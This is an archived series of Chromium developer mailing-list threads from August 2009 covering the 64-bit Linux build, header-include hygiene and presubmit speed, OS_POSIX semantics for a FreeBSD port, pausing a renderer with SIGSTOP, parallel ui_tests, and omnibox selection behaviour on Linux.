How does the v8 perf look like relative to 32-bit? I guess we ought to set up perf bots for startup/memory/etc. as well; I'd expect we improve on those metrics on our 64-bit buildbots due to more sharing with other apps on the system. On Thu, Aug 20, 2009 at 8:44 AM, Dean McNameede...@chromium.org wrote: The v8 team did some amazing work this quarter building a working 64-bit port. After a handful of changes on the Chromium side, I've had Chromium Linux building on 64-bit for the last few weeks. I believe mmoss or tony is going to get a buildbot running, and working on packaging. You can follow the build instructions at: http://code.google.com/p/chromium/wiki/LinuxChromium64 It also looks like FTA has updated his daily builds so that the 64-bit packages are true 64-bit: https://launchpad.net/~chromium-daily/+archive/ppa Enjoy them big pointers, -- dean --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Chromium Linux 64-bit
On Thu, Aug 20, 2009 at 10:26 AM, Evan Martine...@chromium.org wrote: How does the v8 perf look like relative to 32-bit? I guess we ought to set up perf bots for startup/memory/etc. as well; I'd expect we improve on those metrics on our 64-bit buildbots due to more sharing with other apps on the system. I don't think we have the memory perfbot working yet, since it's blocked on http://code.google.com/p/chromium/issues/detail?id=9653. I agree it'd be nice to see how the perf dashboard compares between 32/64bit. On Thu, Aug 20, 2009 at 8:44 AM, Dean McNameede...@chromium.org wrote: The v8 team did some amazing work this quarter building a working 64-bit port. After a handful of changes on the Chromium side, I've had Chromium Linux building on 64-bit for the last few weeks. I believe mmoss or tony is going to get a buildbot running, and working on packaging. You can follow the build instructions at: http://code.google.com/p/chromium/wiki/LinuxChromium64 It also looks like FTA has updated his daily builds so that the 64-bit packages are true 64-bit: https://launchpad.net/~chromium-daily/+archive/ppa Enjoy them big pointers, -- dean --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] PSA: do not include X_messages.h in other headers
Including files like render_messages.h and automation_messages.h from other header files is unnecessary and slows down the build (adds about ~100K lines of headers to each cc file). Last time I removed all these occurrences, it improved the build time by 15%. Looks like a few more crept in now, so I'm removing them. Please be careful not to reintroduce this, and look out for this in code reviews (yes, it would be great to have an automated way of catching this, patches welcome). --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FreeBSD port and ifdefs
On Thu, Aug 20, 2009 at 2:26 PM, Evan Martine...@chromium.org wrote: On Thu, Aug 20, 2009 at 3:06 AM, Ben Laurieb...@chromium.org wrote: I'd be happy to do that. When I do, there's something that's already puzzling me, and that's OS_POSIX. I don't have a copy of the POSIX standard, at least not a recent one, so its hard to know what is or isn't POSIX, and I imagine I am not alone in that. However, various comments lead me to believe that OS_POSIX doesn't really mean POSIX in people's minds - it really means UNIXish or not Windows or something. How would I document this define? Is there an agreed meaning? I think it should just be POSIX. The places that Linux and the BSDs will disagree are exactly the bits that aren't POSIX. You don't need a POSIX spec for this; libc man pages have a CONFORMING TO section. I'm glad there's clear consensus on this issue :-) So am I right in thinking that your view is that if its in FreeBSD and Linux it will be POSIX, almost always? And so there is no need for a UNIXISH macro? --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: PSA: do not include X_messages.h in other headers
Cool! Thanks so much. I'm going to write a presubmit check for that. On Thu, Aug 20, 2009 at 11:12, John Abd-El-Malek j...@chromium.org wrote: Including files like render_messages.h and automation_messages.h from other header files is unnecessary and slows down the build (adds about ~100K lines of headers to each cc file). Last time I removed all these occurrences, it improved the build time by 15%. Looks like a few more crept in now, so I'm removing them. Please be careful not to reintroduce this, and look out for this in code reviews (yes, it would be great to have an automated way of catching this, patches welcome). --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: PSA: do not include X_messages.h in other headers
Great! Please try to add this to an existing check, or do it in a way that doesn't involve the files being read once for each presubmit check, as the presubmit step is already too slow. On Thu, Aug 20, 2009 at 11:16 AM, Paweł Hajdan Jr. phajdan...@chromium.orgwrote: Cool! Thanks so much. I'm going to write a presubmit check for that. On Thu, Aug 20, 2009 at 11:12, John Abd-El-Malek j...@chromium.org wrote: Including files like render_messages.h and automation_messages.h from other header files is unnecessary and slows down the build (adds about ~100K lines of headers to each cc file). Last time I removed all these occurrences, it improved the build time by 15%. Looks like a few more crept in now, so I'm removing them. Please be careful not to reintroduce this, and look out for this in code reviews (yes, it would be great to have an automated way of catching this, patches welcome). --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Common terms + Techno Babble glossary
I started a page to collect the common terms/lingo that gets used in chromium development. It's pretty anemic right now, but if a term keeps needing to get reexplained to people, please add it to the page. Also, if anyone has a better idea for formatting, please feel free to change it. I tried messing with tables on sites, but got confused and gave up. http://sites.google.com/a/chromium.org/dev/developers/common-terms--techno-babble I linked to it off the main For Developers page under Communication. Thanks, Albert --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: PSA: do not include X_messages.h in other headers
Are you positive it's the per-file presubmit checks slowing things down? If so, maybe the presubmit stuff needs to be re-factored? Right now, it does each presubmit check one by one (and each check might read in the files). If it were changed to go file by file (reading fully into memory, running all the per-file pre-submit checks at once) it miight be faster. That said, it would surprise me if this was adding more than a second or two to the time. I bet most of it is waiting on other servers and such. On Thu, Aug 20, 2009 at 11:20 AM, John Abd-El-Malek j...@chromium.orgwrote: Great! Please try to add this to an existing check, or do it in a way that doesn't involve the files being read once for each presubmit check, as the presubmit step is already too slow. On Thu, Aug 20, 2009 at 11:16 AM, Paweł Hajdan Jr. phajdan...@chromium.org wrote: Cool! Thanks so much. I'm going to write a presubmit check for that. On Thu, Aug 20, 2009 at 11:12, John Abd-El-Malek j...@chromium.orgwrote: Including files like render_messages.h and automation_messages.h from other header files is unnecessary and slows down the build (adds about ~100K lines of headers to each cc file). Last time I removed all these occurrences, it improved the build time by 15%. Looks like a few more crept in now, so I'm removing them. Please be careful not to reintroduce this, and look out for this in code reviews (yes, it would be great to have an automated way of catching this, patches welcome). --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FreeBSD port and ifdefs
On Thu, Aug 20, 2009 at 7:32 PM, Evan Martine...@chromium.org wrote: On Thu, Aug 20, 2009 at 11:15 AM, Ben Laurieb...@chromium.org wrote: On Thu, Aug 20, 2009 at 2:26 PM, Evan Martine...@chromium.org wrote: On Thu, Aug 20, 2009 at 3:06 AM, Ben Laurieb...@chromium.org wrote: I'd be happy to do that. When I do, there's something that's already puzzling me, and that's OS_POSIX. I don't have a copy of the POSIX standard, at least not a recent one, so its hard to know what is or isn't POSIX, and I imagine I am not alone in that. However, various comments lead me to believe that OS_POSIX doesn't really mean POSIX in people's minds - it really means UNIXish or not Windows or something. How would I document this define? Is there an agreed meaning? I think it should just be POSIX. The places that Linux and the BSDs will disagree are exactly the bits that aren't POSIX. You don't need a POSIX spec for this; libc man pages have a CONFORMING TO section. I'm glad there's clear consensus on this issue :-) So am I right in thinking that your view is that if its in FreeBSD and Linux it will be POSIX, almost always? And so there is no need for a UNIXISH macro? I think this problem is dangerously too easy for people to comment on, and that you should use your good judgement and see if a reviewer disagrees with you. I mostly agree with the original objection to tests like if linux or freebsd. :) In that case, I will follow brettw's suggestion and come back when I have a larger corpus of evidence. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: FreeBSD port and ifdefs
On Thu, Aug 20, 2009 at 11:15 AM, Ben Laurieb...@chromium.org wrote: On Thu, Aug 20, 2009 at 2:26 PM, Evan Martine...@chromium.org wrote: On Thu, Aug 20, 2009 at 3:06 AM, Ben Laurieb...@chromium.org wrote: I'd be happy to do that. When I do, there's something that's already puzzling me, and that's OS_POSIX. I don't have a copy of the POSIX standard, at least not a recent one, so its hard to know what is or isn't POSIX, and I imagine I am not alone in that. However, various comments lead me to believe that OS_POSIX doesn't really mean POSIX in people's minds - it really means UNIXish or not Windows or something. How would I document this define? Is there an agreed meaning? I think it should just be POSIX. The places that Linux and the BSDs will disagree are exactly the bits that aren't POSIX. You don't need a POSIX spec for this; libc man pages have a CONFORMING TO section. I'm glad there's clear consensus on this issue :-) So am I right in thinking that your view is that if its in FreeBSD and Linux it will be POSIX, almost always? And so there is no need for a UNIXISH macro? I think this problem is dangerously too easy for people to comment on, and that you should use your good judgement and see if a reviewer disagrees with you. I mostly agree with the original objection to tests like if linux or freebsd. :) --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Coverage server reporting 403
Hi Andrew. This has been fixed. - Bev On Wed, Aug 19, 2009 at 2:00 PM, Andrew Scherkus scher...@chromium.orgwrote: Every so often I like peeking at the test coverage stats, but I'm seeing 403 Forbidden at the moment: http://build.chromium.org/buildbot/coverage/ Andrew --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: PSA: do not include X_messages.h in other headers
The commit checks is bound to 2x appengine latency (hint hint) since it parses try job results registered on rietveld and looks up chromium-status to know if the tree is open. presubmit_support.py still reads the whole file. It's *supposed* to only load the new lines from the diff. I just assumed that would be done once it gets slow enough, you know, I didn't want to do an early optimization :D M-A On Thu, Aug 20, 2009 at 2:33 PM, Jeremy Orlowjor...@chromium.org wrote: Are you positive it's the per-file presubmit checks slowing things down? If so, maybe the presubmit stuff needs to be re-factored? Right now, it does each presubmit check one by one (and each check might read in the files). If it were changed to go file by file (reading fully into memory, running all the per-file pre-submit checks at once) it miight be faster. That said, it would surprise me if this was adding more than a second or two to the time. I bet most of it is waiting on other servers and such. On Thu, Aug 20, 2009 at 11:20 AM, John Abd-El-Malek j...@chromium.org wrote: Great! Please try to add this to an existing check, or do it in a way that doesn't involve the files being read once for each presubmit check, as the presubmit step is already too slow. On Thu, Aug 20, 2009 at 11:16 AM, Paweł Hajdan Jr. phajdan...@chromium.org wrote: Cool! Thanks so much. I'm going to write a presubmit check for that. On Thu, Aug 20, 2009 at 11:12, John Abd-El-Malek j...@chromium.org wrote: Including files like render_messages.h and automation_messages.h from other header files is unnecessary and slows down the build (adds about ~100K lines of headers to each cc file). Last time I removed all these occurrences, it improved the build time by 15%. Looks like a few more crept in now, so I'm removing them. Please be careful not to reintroduce this, and look out for this in code reviews (yes, it would be great to have an automated way of catching this, patches welcome). --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Lock the Render process in chromium
On Thu, Aug 20, 2009 at 6:31 AM, Evan Martine...@chromium.org wrote: kill -STOP pid of renderer ? I don't want the renderer process to die. I just want it 'locked' so that i can dump out information of the page (DOM, CSS) of the page. And I want the page unchange during the information dumping. Sorry for not making my question clear. On Thu, Aug 20, 2009 at 12:23 AM, n179911n179...@gmail.com wrote: Hi, Is there anyway to 'lock' the Render process in chromium? Which means Renderer does not do these during the 'lock' period * repaint the screen * no dom modification * no render tree modification * no javascript context modification Thank you for any idea. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Chromium Linux 64-bit
Anybody working on 64-bit breakpad yet? src/breakpad/linux/minidump-2-core.cc:303:2: error: #error This code has not been ported to your platform yet I guess worst case, I can turn this off for official 64-bit builds right now. Michael On Thu, Aug 20, 2009 at 8:44 AM, Dean McNameede...@chromium.org wrote: The v8 team did some amazing work this quarter building a working 64-bit port. After a handful of changes on the Chromium side, I've had Chromium Linux building on 64-bit for the last few weeks. I believe mmoss or tony is going to get a buildbot running, and working on packaging. You can follow the build instructions at: http://code.google.com/p/chromium/wiki/LinuxChromium64 It also looks like FTA has updated his daily builds so that the 64-bit packages are true 64-bit: https://launchpad.net/~chromium-daily/+archive/ppa Enjoy them big pointers, -- dean --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Chromium Linux 64-bit
Out of curiosity, what work remains to support a 64bit build on Windows? On Thu, Aug 20, 2009 at 11:44 AM, Dean McNamee de...@chromium.org wrote: The v8 team did some amazing work this quarter building a working 64-bit port. After a handful of changes on the Chromium side, I've had Chromium Linux building on 64-bit for the last few weeks. I believe mmoss or tony is going to get a buildbot running, and working on packaging. You can follow the build instructions at: http://code.google.com/p/chromium/wiki/LinuxChromium64 It also looks like FTA has updated his daily builds so that the 64-bit packages are true 64-bit: https://launchpad.net/~chromium-daily/+archive/ppahttps://launchpad.net/%7Echromium-daily/+archive/ppa Enjoy them big pointers, -- dean --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Chromium Linux 64-bit
On Thu, Aug 20, 2009 at 12:06 PM, Michael Mossmm...@chromium.org wrote: Anybody working on 64-bit breakpad yet? src/breakpad/linux/minidump-2-core.cc:303:2: error: #error This code has not been ported to your platform yet I guess worst case, I can turn this off for official 64-bit builds right now. I think 64-bit breakpad is done. Are you sure you're up to date? (and using the files from breakpad/linux?) AGL --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Chromium Linux 64-bit
On Thu, Aug 20, 2009 at 12:12 PM, Adam Langleya...@chromium.org wrote: I think 64-bit breakpad is done. Are you sure you're up to date? (and using the files from breakpad/linux?) Sorry Dean pointed out that it was minidump-2-core. That should be removed really. It doesn't work. AGL --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Chromium Linux 64-bit
That is just a utility program, no? On Thu, Aug 20, 2009 at 12:06 PM, Michael Moss mm...@chromium.org wrote: Anybody working on 64-bit breakpad yet? src/breakpad/linux/minidump-2-core.cc:303:2: error: #error This code has not been ported to your platform yet I guess worst case, I can turn this off for official 64-bit builds right now. Michael On Thu, Aug 20, 2009 at 8:44 AM, Dean McNameede...@chromium.org wrote: The v8 team did some amazing work this quarter building a working 64-bit port. After a handful of changes on the Chromium side, I've had Chromium Linux building on 64-bit for the last few weeks. I believe mmoss or tony is going to get a buildbot running, and working on packaging. You can follow the build instructions at: http://code.google.com/p/chromium/wiki/LinuxChromium64 It also looks like FTA has updated his daily builds so that the 64-bit packages are true 64-bit: https://launchpad.net/~chromium-daily/+archive/ppa Enjoy them big pointers, -- dean --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Chromium Linux 64-bit
On Thu, Aug 20, 2009 at 1:17 PM, Marshall Greenblattmagreenbl...@gmail.com wrote: Out of curiosity, what work remains to support a 64bit build on Windows? Motivation. Probably also some sandbox fixes. A gyp update. M--A --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Lock the Render process in chromium
On Thu, Aug 20, 2009 at 9:38 AM, n179911n179...@gmail.com wrote: I don't want the renderer process to die. I just want it 'locked' so that i can dump out information of the page (DOM, CSS) of the page. And I want the page unchange during the information dumping. SIGSTOP doesn't kill the process, it just, well, stops it. (SIGCONT to start it again.) AGL --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: PSA: do not include X_messages.h in other headers
On Thu, Aug 20, 2009 at 11:40 AM, Marc-Antoine Ruel mar...@chromium.orgwrote: The commit checks is bound to 2x appengine latency (hint hint) since it parses try job results registered on rietveld and looks up chromium-status to know if the tree is open. I wasn't talking about commit check, just upload (although of course it's better to make both faster). presubmit_support.py still reads the whole file. It's *supposed* to only load the new lines from the diff. I just assumed that would be done once it gets slow enough, you know, I didn't want to do an early optimization :D I think whether it loads the whole file or just a small part won't make a big difference. I suspect it's all the file operations that happen on a change with lots of files. M-A On Thu, Aug 20, 2009 at 2:33 PM, Jeremy Orlowjor...@chromium.org wrote: Are you positive it's the per-file presubmit checks slowing things down? If so, maybe the presubmit stuff needs to be re-factored? Right now, it does each presubmit check one by one (and each check might read in the files). If it were changed to go file by file (reading fully into memory, running all the per-file pre-submit checks at once) it miight be faster. That said, it would surprise me if this was adding more than a second or two to the time. I bet most of it is waiting on other servers and such. On Thu, Aug 20, 2009 at 11:20 AM, John Abd-El-Malek j...@chromium.org wrote: Great! Please try to add this to an existing check, or do it in a way that doesn't involve the files being read once for each presubmit check, as the presubmit step is already too slow. On Thu, Aug 20, 2009 at 11:16 AM, Paweł Hajdan Jr. phajdan...@chromium.org wrote: Cool! Thanks so much. I'm going to write a presubmit check for that. On Thu, Aug 20, 2009 at 11:12, John Abd-El-Malek j...@chromium.org wrote: Including files like render_messages.h and automation_messages.h from other header files is unnecessary and slows down the build (adds about ~100K lines of headers to each cc file). Last time I removed all these occurrences, it improved the build time by 15%. Looks like a few more crept in now, so I'm removing them. Please be careful not to reintroduce this, and look out for this in code reviews (yes, it would be great to have an automated way of catching this, patches welcome). --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: PSA: do not include X_messages.h in other headers
On Thu, Aug 20, 2009 at 11:33 AM, Jeremy Orlow jor...@chromium.org wrote: Are you positive it's the per-file presubmit checks slowing things down? If so, maybe the presubmit stuff needs to be re-factored? Right now, it does each presubmit check one by one (and each check might read in the files). If it were changed to go file by file (reading fully into memory, running all the per-file pre-submit checks at once) it miight be faster. That said, it would surprise me if this was adding more than a second or two to the time. I bet most of it is waiting on other servers and such. This gives me an idea: I'll add the time it takes to run presubmit checks to the output, so we can see how long it's taking. On Thu, Aug 20, 2009 at 11:20 AM, John Abd-El-Malek j...@chromium.orgwrote: Great! Please try to add this to an existing check, or do it in a way that doesn't involve the files being read once for each presubmit check, as the presubmit step is already too slow. On Thu, Aug 20, 2009 at 11:16 AM, Paweł Hajdan Jr. phajdan...@chromium.org wrote: Cool! Thanks so much. I'm going to write a presubmit check for that. On Thu, Aug 20, 2009 at 11:12, John Abd-El-Malek j...@chromium.orgwrote: Including files like render_messages.h and automation_messages.h from other header files is unnecessary and slows down the build (adds about ~100K lines of headers to each cc file). Last time I removed all these occurrences, it improved the build time by 15%. Looks like a few more crept in now, so I'm removing them. Please be careful not to reintroduce this, and look out for this in code reviews (yes, it would be great to have an automated way of catching this, patches welcome). --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Omnibox highlighting and PRIMARY selection concerns
So, history of this discussion: http://code.google.com/p/chromium/issues/detail?id=19508 http://code.google.com/p/chromium/issues/detail?id=19648#c15 Basically, I feel that if the attempt is to make Chromium feel like a native application on all operating systems, the standards of that operating system should be followed. Specifically, the omnibox does not follow conventional Linux highlighting standards. To wit, 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. Perhaps there can be a button that selects the contents nearby in the UI? I don't mind if ^L selects the contents. 2) On a double click, a word in the omnibox should be selected. I actually wouldn't mind too much if the convention here was altered ever so slightly and a double click selected the entire box contents. 3) On a triple click, if a word was selected on double click, the entire contents should be selected. 4) Any time content in the box is selected, it should be in the PRIMARY buffer. Now, Evan pointed out at comment 15 of Issue 19648 that Firefox does not even comply with point 4. I was unaware of this, but I'm fairly sure that explains my frequent confusion about when my copy/paste and selection buffers are not the data or URL I think they should be. Just because Firefox is broken here doesn't mean Chromium should be too. Please make Chromium follow Linux conventions. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Running UI test in parallel (experimental)
On Wed, Aug 19, 2009 at 9:54 PM, Huan Ren hu...@google.com wrote:
On Thu, Aug 6, 2009 at 1:06 PM, John Abd-El-Malek j...@chromium.orgwrote:
This is very cool, but I ran into a few problems when I tried to run it:
a:\chrome2\src\chrometools\test\smoketests.py --tests=ui
You must have your local path of trunk/src/tools/python added to your
PYTHONPATH.
Traceback (most recent call last):
File A:\chrome2\src\chrome\tools\test\smoketests.py, line 32, in
module
import google.httpd_utils
ImportError: No module named google.httpd_utils
hmmm, never needed PYTHONPATH set before. Can't this script set it
itself? Setting it manually will fail when I move depot locations etc..
But anyways, I set it and then
a:\chrome2\src\chromeset PYTHONPATH=a:\chrome\src\tools\python
a:\chrome2\src\chrometools\test\smoketests.py --tests=ui
Traceback (most recent call last):
File A:\chrome2\src\chrome\tools\test\smoketests.py, line 274, in
module
result = main(options, args)
File A:\chrome2\src\chrome\tools\test\smoketests.py, line 155, in main
sys.path.insert(0, _BuildbotScriptPath('slave'))
File A:\chrome2\src\chrome\tools\test\smoketests.py, line 84, in
_BuildbotScriptPath
'scripts', sub_dir)
File a:\chrome\src\tools\python\google\path_utils.py, line 72, in
FindUpward
parent = FindUpwardParent(start_dir, *desired_list)
File a:\chrome\src\tools\python\google\path_utils.py, line 55, in
FindUpwardParent
(desired_path, start_dir))
google.path_utils.PathNotFound: Unable to find
tools\buildbot\scripts\slave above A:\chrome2\src\chrome\tools\test
tools\buildbot isn't in the public tree I think, since I don't find it
here: http://src.chromium.org/viewvc/chrome/trunk/src/chrome/tools/. So
external contributors can't use this? Also, why should this script depend
on the buildbot scripts? I don't have them so I can't try this out.
It is externally available.
http://src.chromium.org/viewvc/chrome/trunk/tools/buildbot/
http://src.chromium.org/viewvc/chrome/trunk/tools/buildbot/
Can't we just have a minimal python script that runs ui_tests in parallel?
Pam wrote the original smoketests.py. Pam, is it easy to drop those
dependencies? Otherwise, I will write a minimal python script.
I'll take a look. At a quick glance, it looks like the buildbot slave
scripts are only needed if you're running layout tests, so I'll try to
extract that.
- Pam
Huan
On Wed, Jul 29, 2009 at 3:28 PM, Huan Ren hu...@google.com wrote:
I just checked in a change to run ui_tests in parallel based on
sharding mechanism provided by GTest. Each ui_tests instance has its
own user data dir, and the number of ui_tests instances is
NUMBER_OF_PROCESSORS. I have updated
src/chrome/tools/test/smoketests.py so you can run it through command
line:
python.exe smoketests.py --tests=ui [--verbose]
Running ui_tests.exe directly is still the old behavior of
sequentially running. On my 4 core machine, the running time has been
reduced by half, from 832 secs to 443 secs. But I need to make sure
all tests can run reliably in this parallel fashion. So if you try it
out, I will be interested to know how fast the performance is improved
and what additional tests are failing.
Huan
P.S. this change is for Windows platform as I think Linux/Mac is
already using GTest sharding.
--~--~-~--~~~---~--~~
Chromium Developers mailing list: chromium-dev@googlegroups.com
View archives, change email options, or unsubscribe:
http://groups.google.com/group/chromium-dev
-~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. We do this because the most common reason to click in the omnibox is to replace its contents. Adam --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
Firefox on Linux doesn't. Wasn't one of the main goals to make the application feel native to the operating system? I could care less about Windows or OSX focus and selection behavior. None of the below Linux browsers select the entire URL on the first click: Firefox Epiphany Seamonkey Galeon Midori Konqueror Dillo In fact, I can't find a single browser that does what you claim on Linux. On Thu, Aug 20, 2009 at 2:56 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
Safari, Camino, and Mac Chromium place the cursor on a single click. On Thu, Aug 20, 2009 at 4:56 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK -- Mike Pinkerton Mac Weenie pinker...@google.com --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
Oh yikes. Hmm. No, I'm not okay with that. Three solutions 1) don't select the autocomplete. Do it like Firefox (autocompletions are in the dropdown, don't mess with what the user is typing) 2) select the autocomplete, but in a way that's clearly different from normal selection (like, have the autocompletion be just greyed out or something) 3) make this be the one exception. I still guess I expect ^L to clobber my selection. perhaps #3 is the best choice. On Thu, Aug 20, 2009 at 3:18 PM, Evan Martine...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 4) Any time content in the box is selected, it should be in the PRIMARY buffer. This would mean that when you type a URL, the autocomplete will clobber your selection. Are you ok with that? --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 4) Any time content in the box is selected, it should be in the PRIMARY buffer. This would mean that when you type a URL, the autocomplete will clobber your selection. Are you ok with that? --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
The observant will note that these same browsers (on Mac, at least) allow you to select everything by clicking on the border of the location bar. Mike Pinkerton wrote: Safari, Camino, and Mac Chromium place the cursor on a single click. On Thu, Aug 20, 2009 at 4:56 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
